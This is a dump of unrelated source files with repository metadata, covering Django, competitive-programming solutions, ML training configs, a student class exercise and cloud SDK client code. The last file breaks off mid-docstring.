import os from django.conf import settings def gen_dest_tmpl(html, tmpl, flag=None): tmpl = tmpl.replace('dy_tags', 'tags') sub_dir, filename = tmpl.rsplit('/', 1) if flag: filename = flag tmpl_dir = os.path.join(settings.TEMPLATE_DIRS[0], sub_dir) if not os.path.exists(tmpl_dir): os.makedirs(tmpl_dir) with open(os.path.join(tmpl_dir, filename), 'w') as f: f.write(html)
[ "zg163@zg163-Lenovo-IdeaPad-Y470.(none)" ]
zg163@zg163-Lenovo-IdeaPad-Y470.(none)
e3ae61193e0a2880e6eb878f379a07f656630931
a722faf9fb50c794555861bb4858c3ed8a7a25f3
/contest/atcoder/abc095/D/main.py
7f2f0044567a122b8832c3dbfb0972c08712b132
[]
no_license
ar90n/lab
31e5d2c320de5618bc37572011596fee8923255d
6d035e12f743e9ba984e79bfe660967b9ca8716b
refs/heads/main
2023-07-25T17:29:57.960915
2023-07-22T12:08:18
2023-07-22T12:08:18
77,883,405
4
0
null
2023-07-17T08:45:14
2017-01-03T04:15:49
Jupyter Notebook
UTF-8
Python
false
false
1,428
py
#!/usr/bin/env python3 import sys from collections.abc import Iterable from math import * from itertools import * from collections import * from functools import * from operator import * try: from math import gcd except Exception: from fractions import gcd def solve(N: int, C: int, x: "List[int]", v: "List[int]"): x = [0] + x v = [0] + v mx_r = [0] for xx, acc in zip(x[1:], accumulate(v[1:], add)): mx_r.append(max(acc - xx, mx_r[-1])) mx_l = [0] for xx, cal in zip(reversed(x), accumulate(reversed(v), add)): mx_l.append(max(cal - (C - xx), mx_l[-1])) mx_l.reverse() ans = 0 for i in range(N+1): ans = max(mx_r[i], mx_r[i] - x[i] + mx_l[i+1], ans) if i != 0: ans = max(mx_l[i], mx_l[i] - (C - x[i]) + mx_r[i-1], ans) return ans def main(): def iterate_tokens(): for line in sys.stdin: for word in line.split(): yield word tokens = iterate_tokens() N = int(next(tokens)) # type: int C = int(next(tokens)) # type: int x = [int()] * (N) # type: "List[int]" v = [int()] * (N) # type: "List[int]" for i in range(N): x[i] = int(next(tokens)) v[i] = int(next(tokens)) result = solve(N, C, x, v) if isinstance(result, Iterable): result = '\n'.join([str(v) for v in result]) print(result) if __name__ == '__main__': main()
5edbe851415c7f12fe01314ef03eec162a7e5354
1afa1b1929d1cd463cd9970174dd58ce2ca6eb1e
/configs/deeplabv3plus/deeplabv3plus_r101-d8_512x512_40k_voc12aug.py
9e3cd3501becb0dd284113d675963a2c474b247b
[ "Apache-2.0" ]
permissive
CAU-HE/CMCDNet
2328594bf4b883384c691099c72e119b65909121
31e660f81f3b625916a4c4d60cd606dcc8717f81
refs/heads/main
2023-08-08T17:21:57.199728
2023-07-28T07:34:40
2023-07-28T07:34:40
589,927,845
12
1
null
null
null
null
UTF-8
Python
false
false
140
py
_base_ = './deeplabv3plus_r50-d8_512x512_40k_voc12aug.py' model = dict(pretrained='open-mmlab://resnet101_v1c', backbone=dict(depth=101))
f925b0bbc8dff7cade5763ea534cd301ea570730
d36471a481ff0ff71aa277d14928a48db9b6140b
/melons.py
1ecfacead0e3930d7b11d129e6adb944e4fa10f5
[]
no_license
Quynhd07/melons-classes
ca0e47f694cc6337136ca2431f7a856e9135b3ea
f668d5fd97dd7c3a37bd26bbfe2310324fdd388c
refs/heads/master
2020-12-30T00:40:33.897567
2020-02-07T21:05:17
2020-02-07T21:05:17
238,799,803
0
0
null
null
null
null
UTF-8
Python
false
false
2,309
py
"""Classes for melon orders.""" class AbstractMelonOrder(): """An abstract base class that other Melon Orders inherit from.""" def __init__(self, species, qty): """Initialize melon order attributes.""" self.species = species self.qty = qty self.shipped = False def get_total(self): """Calculate price, including tax.""" base_price = 5 # if species == christmas melons if self.species == "Christmas melons": # multiple base price by 1.5 base_price = base_price * 1.5 total = (1 + self.tax) * self.qty * base_price return total def mark_shipped(self): """Record the fact than an order has been shipped.""" self.shipped = True class DomesticMelonOrder(AbstractMelonOrder): """A melon order within the USA.""" def __init__(self, species, qty): """Initialize melon order attributes.""" super().__init__(species, qty) self.order_type = "domestic" self.tax = 0.08 class InternationalMelonOrder(AbstractMelonOrder): """An international (non-US) melon order.""" def __init__(self, species, qty, country_code): """Initialize melon order attributes.""" super().__init__(species, qty, country_code) self.country_code = country_code self.order_type = "international" self.tax = .15 def get_country_code(self): """Return the country code.""" return self.country_code def get_total(self): total = super().get_total() # base_price = 5 # if species == christmas melons # if self.species == "Christmas melons": # # multiple base price by 1.5 # base_price = base_price * 1.5 if self.qty < 10: flat_fee = 3 total = total + flat_fee return total class GovernmentMelonOrder(AbstractMelonOrder): def __init__(self, species, qty): """Initialize melon order attributes.""" super().__init__(species, qty) self.passed_inspection = False self.tax = 1 # create mark_inspection method def mark_inspection(self, bool): if bool == 'passed': self.passed_inspection = True return self.passed_inspection
2d283c29a7787686b4bcf6f95235d830ff3d30c7
2359121ebcebba9db2cee20b4e8f8261c5b5116b
/configs/d4_16.py
9cb1b39825a598c084e3817351bc0cf9c8b9f6e7
[]
no_license
EliasVansteenkiste/plnt
79840bbc9f1518c6831705d5a363dcb3e2d2e5c2
e15ea384fd0f798aabef04d036103fe7af3654e0
refs/heads/master
2021-01-20T00:34:37.275041
2017-07-20T18:03:08
2017-07-20T18:03:08
89,153,531
2
1
null
null
null
null
UTF-8
Python
false
false
11,394
py
#config a6 is equivalent to a5, except the normalization import numpy as np import lasagne as nn from collections import namedtuple from functools import partial import lasagne.layers.dnn as dnn import lasagne import theano.tensor as T import data_transforms import data_iterators import pathfinder import utils import app import nn_planet restart_from_save = None rng = np.random.RandomState(42) # transformations p_transform = {'patch_size': (256, 256), 'channels': 4, 'n_labels': 1, 'n_feat': 64, 'label_id': 16} #only lossless augmentations p_augmentation = { 'rot90_values': [0,1,2,3], 'flip': [0, 1] } # data preparation function def data_prep_function_train(x, p_transform=p_transform, p_augmentation=p_augmentation, **kwargs): x = np.array(x) x = np.swapaxes(x,0,2) x = x / 255. x = x.astype(np.float32) x = data_transforms.lossless(x, p_augmentation, rng) return x def data_prep_function_valid(x, p_transform=p_transform, **kwargs): x = np.array(x) x = np.swapaxes(x,0,2) x = x / 255. x = x.astype(np.float32) return x def label_prep_function(label): return label[p_transform['label_id']] # data iterators # 0.18308259 batch_size = 3 pos_batch_size = 2 neg_batch_size = 1 assert batch_size == (pos_batch_size+neg_batch_size) nbatches_chunk = 1 chunk_size = batch_size * nbatches_chunk folds = app.make_stratified_split(no_folds=5) print len(folds) train_ids = folds[0] + folds[1] + folds[2] + folds[3] valid_ids = folds[4] all_ids = folds[0] + folds[1] + folds[2] + folds[3] + folds[4] bad_ids = [] train_ids = [x for x in train_ids if x not in bad_ids] valid_ids = [x for x in valid_ids if x not in bad_ids] test_ids = np.arange(40669) test2_ids = np.arange(20522) train_data_iterator = data_iterators.DiscriminatorDataGenerator(dataset='train-jpg', batch_size=batch_size, pos_batch_size=pos_batch_size, label_id = p_transform['label_id'], img_ids = train_ids, p_transform=p_transform, data_prep_fun = data_prep_function_train, label_prep_fun = label_prep_function, rng=rng, full_batch=True, random=True, infinite=True) feat_data_iterator = data_iterators.DataGenerator(dataset='train-jpg', batch_size=batch_size, pos_batch_size=pos_batch_size, img_ids = train_ids, p_transform=p_transform, data_prep_fun = data_prep_function_train, label_prep_fun = label_prep_function, rng=rng, full_batch=False, random=False, infinite=False) valid_data_iterator = data_iterators.DiscriminatorDataGenerator(dataset='train-jpg', batch_size=batch_size, pos_batch_size=pos_batch_size, label_id = p_transform['label_id'], img_ids = valid_ids, p_transform=p_transform, data_prep_fun = data_prep_function_train, label_prep_fun = label_prep_function, rng=rng, full_batch=True, random=False, infinite=False) test_data_iterator = data_iterators.DataGenerator(dataset='test-jpg', batch_size=batch_size, pos_batch_size=pos_batch_size, img_ids = test_ids, p_transform=p_transform, data_prep_fun = data_prep_function_valid, label_prep_fun = label_prep_function, rng=rng, full_batch=False, random=False, infinite=False) test2_data_iterator = data_iterators.DataGenerator(dataset='test2-jpg', batch_size=batch_size, pos_batch_size=pos_batch_size, img_ids = test2_ids, p_transform=p_transform, data_prep_fun = data_prep_function_valid, label_prep_fun = label_prep_function, rng=rng, full_batch=False, random=False, infinite=False) nchunks_per_epoch = train_data_iterator.nsamples / chunk_size max_nchunks = nchunks_per_epoch * 40 validate_every = int(0.1 * nchunks_per_epoch) save_every = int(1. * nchunks_per_epoch) learning_rate_schedule = { 0: 5e-4, int(max_nchunks * 0.4): 2e-4, int(max_nchunks * 0.6): 1e-4, int(max_nchunks * 0.7): 5e-5, int(max_nchunks * 0.8): 2e-5, int(max_nchunks * 0.9): 1e-5 } # model conv = partial(dnn.Conv2DDNNLayer, filter_size=3, pad='same', W=nn.init.Orthogonal(), nonlinearity=nn.nonlinearities.very_leaky_rectify) max_pool = partial(dnn.MaxPool2DDNNLayer, pool_size=2) drop = lasagne.layers.DropoutLayer dense = partial(lasagne.layers.DenseLayer, W=lasagne.init.Orthogonal(), nonlinearity=lasagne.nonlinearities.very_leaky_rectify) def inrn_v2(lin, last_layer_nonlin = lasagne.nonlinearities.rectify): n_base_filter = 32 l1 = conv(lin, n_base_filter, filter_size=1) l2 = conv(lin, n_base_filter, filter_size=1) l2 = conv(l2, n_base_filter, filter_size=3) l3 = conv(lin, n_base_filter, filter_size=1) l3 = conv(l3, n_base_filter, filter_size=3) l3 = conv(l3, n_base_filter, filter_size=3) l = lasagne.layers.ConcatLayer([l1, l2, l3]) l = conv(l, lin.output_shape[1], filter_size=1) l = lasagne.layers.ElemwiseSumLayer([l, lin]) l = lasagne.layers.NonlinearityLayer(l, nonlinearity= last_layer_nonlin) return l def inrn_v2_red(lin): # We want to reduce our total volume /4 den = 16 nom2 = 4 nom3 = 5 nom4 = 7 ins = lin.output_shape[1] l1 = max_pool(lin) l2 = conv(lin, ins // den * nom2, filter_size=3, stride=2) l3 = conv(lin, ins // den * nom2, filter_size=1) l3 = conv(l3, ins // den * nom3, filter_size=3, stride=2) l4 = conv(lin, ins // den * nom2, filter_size=1) l4 = conv(l4, ins // den * nom3, filter_size=3) l4 = conv(l4, ins // den * nom4, filter_size=3, stride=2) l = lasagne.layers.ConcatLayer([l1, l2, l3, l4]) return l def feat_red(lin): # We want to reduce the feature maps by a factor of 2 ins = lin.output_shape[1] l = conv(lin, ins // 2, filter_size=1) return l def build_model(): l_in = nn.layers.InputLayer((None, p_transform['channels'],) + p_transform['patch_size']) l_target = nn.layers.InputLayer((None,)) l = conv(l_in, 64) l = inrn_v2_red(l) l = inrn_v2(l) l = inrn_v2_red(l) l = inrn_v2(l) l = inrn_v2_red(l) l = inrn_v2(l) # l = inrn_v2_red(l) # l = inrn_v2(l) # l = inrn_v2_red(l) # l = inrn_v2(l) l = drop(l) l_neck = nn.layers.GlobalPoolLayer(l) l_out = nn.layers.DenseLayer(l_neck, num_units=p_transform['n_feat'], W=nn.init.Orthogonal(), nonlinearity=nn.nonlinearities.identity) return namedtuple('Model', ['l_in', 'l_out', 'l_neck', 'l_target'])(l_in, l_out, l_neck, l_target) def build_objective(model, deterministic=False, epsilon=1.e-7): features= nn.layers.get_output(model.l_out, deterministic=deterministic) targets = T.cast(T.flatten(nn.layers.get_output(model.l_target)), 'int32') #feat = T.nnet.nnet.sigmoid(features) feat = features df = T.sum(abs(feat.dimshuffle(['x',0,1]) - feat.dimshuffle([0,'x',1])), axis=2) d_p = df[0,1] d_n1 = df[0,2] d_n2 = df[1,2] d_n = T.min(T.stack([d_n1, d_n2])) margin = np.float32(1.) zero = np.float32(0.) triplet_dist_hinge = T.max(T.stack([margin + d_p - d_n, zero])) return triplet_dist_hinge def build_objective2(model, deterministic=False, epsilon=1.e-7): features= nn.layers.get_output(model.l_out, deterministic=deterministic) targets = T.cast(T.flatten(nn.layers.get_output(model.l_target)), 'int32') #feat = T.nnet.nnet.sigmoid(features) feat = features df = T.sum(abs(feat.dimshuffle(['x',0,1]) - feat.dimshuffle([0,'x',1])), axis=2) d_p = df[0,1] d_n1 = df[0,2] d_n2 = df[1,2] d_n = T.min(T.stack([d_n1, d_n2])) margin = np.float32(1.) zero = np.float32(0.) triplet_dist_hinge = T.max(T.stack([margin + d_p - d_n, zero])) return triplet_dist_hinge # features= nn.layers.get_output(model.l_out, deterministic=deterministic) # targets = T.cast(T.flatten(nn.layers.get_output(model.l_target)), 'int32') # #feat = T.nnet.nnet.sigmoid(features) # feat = features # df = T.mean((feat.dimshuffle(['x',0,1]) - feat.dimshuffle([0,'x',1]))**2, axis=2) # d_p = df[0,1] # d_n1 = df[0,2] # d_n2 = df[1,2] # d_n = T.min(T.stack([d_n1, d_n2])) # margin = np.float32(1.) # zero = np.float32(0.) # triplet_dist_hinge = T.max(T.stack([margin + d_p - d_n, zero])) # return d_n def sigmoid(x): s = 1. / (1. + np.exp(-x)) return s def score(gts, feats): feats = np.vstack(feats) gts = np.vstack(gts) gts = np.int32(gts) feats = sigmoid(feats) df = np.mean(np.abs(feats[None,:,:] - feats[:,None,:]), axis=2) gt = gts > 0.5 gt = gt.flatten() non_gt = gts < 0.5 non_gt = non_gt.flatten() df_pp = df[gt] df_pp = df_pp[:,gt] df_np = df[non_gt, :] df_np = df_np[:, gt] preds_p = 1-np.mean(df_pp,axis=1) preds_n = 1-np.mean(df_np,axis=1) treshold = 0.5 tp = np.sum(preds_p>treshold) fp = np.sum(preds_n>treshold) fn = np.sum(preds_p<treshold) return np.array([tp, fp, fn]) test_score = score def build_updates(train_loss, model, learning_rate): updates = nn.updates.adam(train_loss, nn.layers.get_all_params(model.l_out, trainable=True), learning_rate) return updates
c0a323d6563dda7c8ac2b49d827352f6379ba03d
caed98915a93639e0a56b8296c16e96c7d9a15ab
/DP/stocks/Stock_II.py
5ec46fcd78856a48fdfcf6ebdb61c059e7384e15
[]
no_license
PiyushChandra17/365-Days-Of-LeetCode
0647787ec7e8f1baf10b6bfc687bba06f635838c
7e9e9d146423ca2c5b1c6a3831f21dd85fa376d5
refs/heads/main
2023-02-13T10:41:36.110303
2021-01-17T11:58:51
2021-01-17T11:58:51
319,974,573
0
0
null
null
null
null
UTF-8
Python
false
false
153
py
class Solution: def maxProfit(self, prices: List[int]) -> int: return sum(max(prices[i+1]-prices[i],0)for i in range(len(prices)-1))
5acd1660ba5455bc1084047dc66d3485dde5efb6
fb9c24e1e27c930881f54a0d609683983c726cec
/main/migrations/0032_auto_20210326_1139.py
9fac8da7459eaeeeeff9e17fe2d1e1408b18388e
[]
no_license
Safintim/flower-shop
6ba28f3f82912bcedd8c7d1e259557cda729410e
92c0b7488b5370fc5512d6ce85f0e76a2a55bdbd
refs/heads/master
2023-04-08T18:48:43.866959
2021-04-14T10:18:06
2021-04-14T10:18:06
254,976,051
0
0
null
2020-06-06T08:55:36
2020-04-11T23:50:58
Python
UTF-8
Python
false
false
371
py
# Generated by Django 3.1.7 on 2021-03-26 11:39 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main', '0031_auto_20210326_1118'), ] operations = [ migrations.DeleteModel( name='Callback', ), migrations.DeleteModel( name='Configuration', ), ]
6895432cdb44dcd345003bed6d3af69f1745cbce
2c7f99ff86d1786d133df13a630d62e7dcc63fab
/google/cloud/dialogflow_v2/services/conversation_profiles/transports/base.py
5768948c216410b18bbda0988ae8fa09340f5c83
[ "Apache-2.0" ]
permissive
rlindao/python-dialogflow
2141b7181506210c6cfffb27bb9599ad21261c28
8958e562bb159b00bb1fc0fa97e5ffd35dea058d
refs/heads/master
2023-04-06T15:09:14.888871
2021-04-16T21:34:24
2021-04-16T21:34:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,312
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import abc import typing import pkg_resources from google import auth # type: ignore from google.api_core import exceptions # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.auth import credentials # type: ignore from google.cloud.dialogflow_v2.types import conversation_profile from google.cloud.dialogflow_v2.types import ( conversation_profile as gcd_conversation_profile, ) from google.protobuf import empty_pb2 as empty # type: ignore try: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo( gapic_version=pkg_resources.get_distribution( "google-cloud-dialogflow", ).version, ) except pkg_resources.DistributionNotFound: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo() class ConversationProfilesTransport(abc.ABC): """Abstract transport class for ConversationProfiles.""" AUTH_SCOPES = ( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/dialogflow", ) def __init__( self, *, host: str = "dialogflow.googleapis.com", credentials: credentials.Credentials = None, credentials_file: typing.Optional[str] = None, scopes: typing.Optional[typing.Sequence[str]] = AUTH_SCOPES, quota_project_id: typing.Optional[str] = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, **kwargs, ) -> None: """Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is mutually exclusive with credentials. scope (Optional[Sequence[str]]): A list of scopes. quota_project_id (Optional[str]): An optional project to use for billing and quota. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. """ # Save the hostname. Default to port 443 (HTTPS) if none is specified. if ":" not in host: host += ":443" self._host = host # Save the scopes. self._scopes = scopes or self.AUTH_SCOPES # If no credentials are provided, then determine the appropriate # defaults. if credentials and credentials_file: raise exceptions.DuplicateCredentialArgs( "'credentials_file' and 'credentials' are mutually exclusive" ) if credentials_file is not None: credentials, _ = auth.load_credentials_from_file( credentials_file, scopes=self._scopes, quota_project_id=quota_project_id ) elif credentials is None: credentials, _ = auth.default( scopes=self._scopes, quota_project_id=quota_project_id ) # Save the credentials. self._credentials = credentials def _prep_wrapped_messages(self, client_info): # Precompute the wrapped methods. self._wrapped_methods = { self.list_conversation_profiles: gapic_v1.method.wrap_method( self.list_conversation_profiles, default_timeout=None, client_info=client_info, ), self.get_conversation_profile: gapic_v1.method.wrap_method( self.get_conversation_profile, default_timeout=None, client_info=client_info, ), self.create_conversation_profile: gapic_v1.method.wrap_method( self.create_conversation_profile, default_timeout=None, client_info=client_info, ), self.update_conversation_profile: gapic_v1.method.wrap_method( self.update_conversation_profile, default_timeout=None, client_info=client_info, ), self.delete_conversation_profile: gapic_v1.method.wrap_method( self.delete_conversation_profile, default_timeout=None, client_info=client_info, ), } @property def list_conversation_profiles( self, ) -> typing.Callable[ [conversation_profile.ListConversationProfilesRequest], typing.Union[ conversation_profile.ListConversationProfilesResponse, typing.Awaitable[conversation_profile.ListConversationProfilesResponse], ], ]: raise NotImplementedError() @property def get_conversation_profile( self, ) -> typing.Callable[ [conversation_profile.GetConversationProfileRequest], typing.Union[ conversation_profile.ConversationProfile, typing.Awaitable[conversation_profile.ConversationProfile], ], ]: raise NotImplementedError() @property def create_conversation_profile( self, ) -> typing.Callable[ [gcd_conversation_profile.CreateConversationProfileRequest], typing.Union[ gcd_conversation_profile.ConversationProfile, typing.Awaitable[gcd_conversation_profile.ConversationProfile], ], ]: raise NotImplementedError() @property def update_conversation_profile( self, ) -> typing.Callable[ [gcd_conversation_profile.UpdateConversationProfileRequest], typing.Union[ gcd_conversation_profile.ConversationProfile, typing.Awaitable[gcd_conversation_profile.ConversationProfile], ], ]: raise NotImplementedError() @property def delete_conversation_profile( self, ) -> typing.Callable[ [conversation_profile.DeleteConversationProfileRequest], typing.Union[empty.Empty, typing.Awaitable[empty.Empty]], ]: raise NotImplementedError() __all__ = ("ConversationProfilesTransport",)
0b9347644b1ad62f3f1deb8668c660a135c70885
e89509b453632747077bc57dbec265a7703d5c7c
/list/listappend.py
a2ddb719341f157c2047747bdda0aa142f51df03
[]
no_license
Madhav2108/udemy-python-as
a9dcfdbfdc1bb85471aa66de77957e962a7c5486
0bc6a501516618fb3c7ab10be6bc16c047aeec3f
refs/heads/master
2023-03-30T11:25:16.064592
2021-03-30T18:10:46
2021-03-30T18:10:46
286,001,815
0
0
null
null
null
null
UTF-8
Python
false
false
572
py
List = [] print(List) List.append(1) List.append(2) List.append(4) print(List) for i in range(1, 4): List.append(i) print(List) List.append((5, 6)) print(List) List2 = ['For', 'Geeks'] List.append(List2) print(List) List.insert(3, 12) List.insert(0, 'Geeks') print(List) List.extend([8, 'Geeks', 'Always']) print(List) List.remove(8) List.remove(12) print(List) List.pop() print(List) List.pop(2) print(List) Sliced_List = List[::-1] print("\nPrinting List in reverse: ") print(Sliced_List) list.sort() print(list)
1ac4822dd02e34f946f4183122d8a6b5ec804d02
ba949e02c0f4a7ea0395a80bdc31ed3e5f5fcd54
/problems/greedy/Solution678.py
f37f62721d5aa37063dd666a0d011a7ac22e9daa
[ "MIT" ]
permissive
akaliutau/cs-problems-python
6bc0a74064f6e9687fe58b13763da1fdf2e1f626
9b1bd8e3932be62135a38a77f955ded9a766b654
refs/heads/master
2023-05-11T22:19:06.711001
2021-06-04T11:14:42
2021-06-04T11:14:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,937
py
""" Given a string containing only three types of characters: '(', ')' and '*', write a function to check whether trightBoundarys string is valid. We define the validity of a string by these rules: Any left parenthesis '(' must have a corresponding right parenthesis ')'. Any right parenthesis ')' must have a corresponding left parenthesis '('. Left parenthesis '(' must go before the corresponding right parenthesis ')'. '*' could be treated as a single right parenthesis ')' or a single left parenthesis '(' or an empty string. An empty string is also valid. Example 1: Input: "()" Output: True ( * ) ) l 1 0 -1 -2 t 1 2 1 0 When checking whether the string is valid, we only cared about the "balance": the number of extra, open left brackets as we parsed through the string. For example, when checking whether '(()())' is valid, we had a balance of 1, 2, 1, 2, 1, 0 as we parse through the string: '(' has 1 left bracket, '((' has 2, '(()' has 1, and so on. This means that after parsing the first i symbols, (which may include asterisks,) we only need to keep track of what the balance could be. For example, if we have string '(***)', then as we parse each symbol, the set of possible values for the balance is [1] for '('; [0, 1, 2] for '(*'; [0, 1, 2, 3] for '(**'; [0, 1, 2, 3, 4] for '(***', and [0, 1, 2, 3] for '(***)'. Furthermore, we can prove these states always form a contiguous interval. Thus, we only need to know the left and right bounds of this interval. That is, we would keep those intermediate states described above as [lo, hi] = [1, 1], [0, 2], [0, 3], [0, 4], [0, 3]. Algorithm Let lo, hi respectively be the smallest and largest possible number of open left brackets after processing the current character in the string. """ class Solution678: pass
9ea9323c06957ea63a4699fe72b9431a47cd9117
e35fd52fe4367320024a26f2ee357755b5d5f4bd
/leetcode/problems/313.super-ugly-number.py
704a9e40a9a97991c2693e51d1623cb6c3511bc7
[]
no_license
liseyko/CtCI
a451967b0a0ce108c491d30b81e88d20ad84d2cd
c27f19fac14b4acef8c631ad5569e1a5c29e9e1f
refs/heads/master
2020-03-21T14:28:47.621481
2019-11-12T22:59:07
2019-11-12T22:59:07
138,658,372
0
0
null
null
null
null
UTF-8
Python
false
false
1,017
py
# # @lc app=leetcode id=313 lang=python3 # # [313] Super Ugly Number # # https://leetcode.com/problems/super-ugly-number/description/ # # algorithms # Medium (43.02%) # Total Accepted: 67.2K # Total Submissions: 156.3K # Testcase Example: '12\n[2,7,13,19]' # # Write a program to find the n^th super ugly number. # # Super ugly numbers are positive numbers whose all prime factors are in the # given prime list primes of size k. # # Example: # # # Input: n = 12, primes = [2,7,13,19] # Output: 32 # Explanation: [1,2,4,7,8,13,14,16,19,26,28,32] is the sequence of the first # 12 # ⁠ super ugly numbers given primes = [2,7,13,19] of size 4. # # Note: # # # 1 is a super ugly number for any given primes. # The given numbers in primes are in ascending order. # 0 < k ≤ 100, 0 < n ≤ 10^6, 0 < primes[i] < 1000. # The n^th super ugly number is guaranteed to fit in a 32-bit signed integer. # # # class Solution: def nthSuperUglyNumber(self, n: int, primes: List[int]) -> int:
81f2637a8ed5c8510fcc5945d5235d911e45462f
7c68212791621363da7f007b1ef449597937d20c
/day_1/operator_shorthand.py
7070ebe9f8fe49ba7490762189795e3db53c65f3
[ "MIT" ]
permissive
anishLearnsToCode/python-workshop-8
c1ad5c2f06b435b612acc28544180b47c86fb24f
0f64bfa7cf175283181b6e7f51a5e3b80d4b6b60
refs/heads/main
2023-02-07T11:55:48.372944
2021-01-03T08:41:33
2021-01-03T08:41:33
325,730,441
3
0
null
null
null
null
UTF-8
Python
false
false
184
py
# variable [operator]= var_2 / value # i = i + 1 --> i += 1 # result = result + i --> result += i # var /= 5 --> var = var / 5 # i *= 3--> i = i * 3 # prod %= 10 --> prod = prod % 10
33fbb86f0c1d4774178156a30d673684559ba579
ced56909016fb7c2175c3911fc8481bd5fdf0800
/pytext/metric_reporters/disjoint_multitask_metric_reporter.py
83d419bc152137138df46faa0ff3715e14e05512
[ "BSD-3-Clause" ]
permissive
coderbyr/pytext
e258a3aae625e6a2fd386b60f25ac44a7b4149fe
72c1ad835a30bef425494b02a6210f2e3232b1a4
refs/heads/master
2022-11-20T09:11:44.991716
2020-07-20T22:05:42
2020-07-20T22:07:15
281,286,078
1
0
NOASSERTION
2020-07-21T03:32:42
2020-07-21T03:32:41
null
UTF-8
Python
false
false
4,013
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved from typing import Dict, Optional from pytext.common.constants import BatchContext from .metric_reporter import MetricReporter AVRG_LOSS = "_avrg_loss" class DisjointMultitaskMetricReporter(MetricReporter): lower_is_better = False class Config(MetricReporter.Config): use_subtask_select_metric: bool = False def __init__( self, reporters: Dict[str, MetricReporter], loss_weights: Dict[str, float], target_task_name: Optional[str], use_subtask_select_metric: bool, ) -> None: """Short summary. Args: reporters (Dict[str, MetricReporter]): Dictionary of sub-task metric-reporters. target_task_name (Optional[str]): Dev metric for this task will be used to select best epoch. Returns: None: Description of returned object. """ super().__init__(None) self.reporters = reporters self.target_task_name = target_task_name or "" self.target_reporter = self.reporters.get(self.target_task_name, None) self.loss_weights = loss_weights self.use_subtask_select_metric = use_subtask_select_metric def _reset(self): self.total_loss = 0 self.num_batches = 0 def batch_context(self, raw_batch, batch): context = {BatchContext.TASK_NAME: batch[BatchContext.TASK_NAME]} reporter = self.reporters[context[BatchContext.TASK_NAME]] context.update(reporter.batch_context(raw_batch, batch)) return context def add_batch_stats( self, n_batches, preds, targets, scores, loss, m_input, **context ): self.total_loss += loss self.num_batches += 1 # losses are weighted in DisjointMultitaskModel. Here we undo the # weighting for proper reporting. if self.loss_weights[context[BatchContext.TASK_NAME]] != 0: loss /= self.loss_weights[context[BatchContext.TASK_NAME]] reporter = self.reporters[context[BatchContext.TASK_NAME]] reporter.add_batch_stats( n_batches, preds, targets, scores, loss, m_input, **context ) def add_channel(self, channel): for reporter in self.reporters.values(): reporter.add_channel(channel) def report_metric( self, model, stage, epoch, reset=True, print_to_channels=True, optimizer=None, privacy_engine=None, ): metrics_dict = {AVRG_LOSS: self.total_loss / self.num_batches} for name, reporter in self.reporters.items(): print(f"Reporting on task: {name}") metrics_dict[name] = reporter.report_metric( model, stage, epoch, reset, print_to_channels, optimizer=optimizer ) if reset: self._reset() if self.target_reporter: return metrics_dict[self.target_task_name] for name, reporter in self.reporters.items(): metrics_dict[name] = reporter.get_model_select_metric(metrics_dict[name]) return metrics_dict def get_model_select_metric(self, metrics): if self.target_reporter: metric = self.target_reporter.get_model_select_metric(metrics) if self.target_reporter.lower_is_better: metric = -metric elif self.use_subtask_select_metric: metric = 0.0 for name, reporter in self.reporters.items(): sub_metric = metrics[name] if reporter.lower_is_better: sub_metric = -sub_metric metric += sub_metric else: # default to training loss metric = -metrics[AVRG_LOSS] return metric def report_realtime_metric(self, stage): for _, reporter in self.reporters.items(): reporter.report_realtime_metric(stage)
a566a7e2e4d20ec72b89062af4c532ed1123f14f
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-hss/huaweicloudsdkhss/v5/model/list_port_statistics_response.py
13b10f29de59c0c0d34e2530004b515adf013fcb
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
4,349
py
# coding: utf-8 import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class ListPortStatisticsResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'total_num': 'int', 'data_list': 'list[PortStatisticResponseInfo]' } attribute_map = { 'total_num': 'total_num', 'data_list': 'data_list' } def __init__(self, total_num=None, data_list=None): """ListPortStatisticsResponse The model defined in huaweicloud sdk :param total_num: 开放端口总数 :type total_num: int :param data_list: 开放端口统计信息列表 :type data_list: list[:class:`huaweicloudsdkhss.v5.PortStatisticResponseInfo`] """ super(ListPortStatisticsResponse, self).__init__() self._total_num = None self._data_list = None self.discriminator = None if total_num is not None: self.total_num = total_num if data_list is not None: self.data_list = data_list @property def total_num(self): """Gets the total_num of this ListPortStatisticsResponse. 开放端口总数 :return: The total_num of this 